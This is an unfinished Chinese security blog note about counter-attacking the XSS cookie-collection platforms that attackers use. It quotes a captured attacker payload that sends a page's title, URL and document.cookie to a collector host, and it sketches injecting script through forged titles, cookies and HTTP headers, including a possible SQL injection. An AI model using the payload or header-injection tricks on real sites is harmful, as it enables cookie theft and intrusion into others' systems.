针对xss收信平台的反向打击研究（未完成）

参考引用：maple的文章

话说有一天，maple跟我说了这个反打的想法，立马和我不谋而合，很多时候看到某目标站点被x，饼干发到了黑阔的收信平台，顺手跟踪接口信息，如下：
?var bid=252; var xingUrl='http://xxx.xxx.xxx.xxx/xsss/index.php'; (function() { (new Image()).src = xingUrl+"?bid="+bid+"&a=info&title="+document.title+"&url=" + escape(document.URL)+'&cookie=' + escape(document.cookie); })();
 

Document.cookie    获取当前的cookie

说明在没有过滤的前提下，title是可以加载到js的

修改cookie的值为js，也可以被加载

回头看一下现在的xss收信平台都有什么东西显示

大部分东西都来自http请求头的内容，类推，修改请求头内容加入js，理应可以加载，从而打到黑客的平台信息

通过伪造的请求头一旦到了数据库可能造成xss，或者在未到数据库的时候就造成了SQL注入，因为对于程序员来说，大多数人认为一般从Headers里面取出来的数据是安全可靠的，可以放心的拼SQL(记得好像Discuz有这样一个漏洞)。

之前easyxss没有对请求头进行过滤，所以被随风伪造请求头x了一次，弹了www.gov.cn

关于请求头信息伪造XSS，园长大牛的文章写的很清晰：/Article/201307/228453.html

但是。。。但是自从上一次x过easyxss后，做了过滤

截至上次测试时（这个反向打击弄的断断续续的），貌似使用了htmlencode，让伪造的请求头js跑不起来

貌似这事儿就只能这样罢了？不是的。

首先，easyxss搞不了，还有其他的收信平台嘛，在做反打的时候判断收信平台，根据不同平台构造代码进行反打

如果真是easyxss这样的进行了编码过滤，那么貌似也还是有办法的

要么找到新的bypass或者其他点的xss漏洞

还有就是长短短表哥跟我说的，跟踪到平台exp生成的地方，构造自定义html

唔。。。一是因为精力有限，二是小菜愚钝（好吧，主要是我比较笨）

所以这个接下来的研究迟迟没有进行-，-先这么写吧，啥时候继续了，再补充好了